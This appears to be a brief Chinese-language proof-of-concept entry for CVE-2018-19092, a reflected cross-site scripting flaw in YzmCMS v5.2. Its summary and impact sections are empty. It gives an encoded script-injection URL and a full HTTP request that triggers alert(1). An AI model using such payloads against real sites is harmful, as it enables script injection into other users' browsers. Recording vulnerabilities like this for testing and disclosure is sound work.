005-CVE-2018-19092 YzmCMS v5.2 xss漏洞

# CVE-2018-19092 YzmCMS v5.2 xss漏洞

### 一、漏洞简介

### 二、漏洞影响

### 三、复现过程

“`bash
http://url/search/index/archives/pubtime/1526387722/page/1.html

XSS payload: http://url/search/index/archives/pubtime/1526387722/page/1.html?tqh3l%22%3e%3cscript%3ealert(1)%3c%2fscript%3er6qt2=1
“`

POC:

“`bash
GET /search/index/archives/pubtime/1526387722/page/1.html?tqh3l%22%3e%3cscript%3ealert(1)%3c%2fscript%3er6qt2=1 HTTP/1.1
Host: 127.0.01
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://192.168.1.40/search/index/archives/pubtime/1526387722.html
Cookie: PHPSESSID=u0bh5qnr84qsu9aa0oj8vpkuk2
“`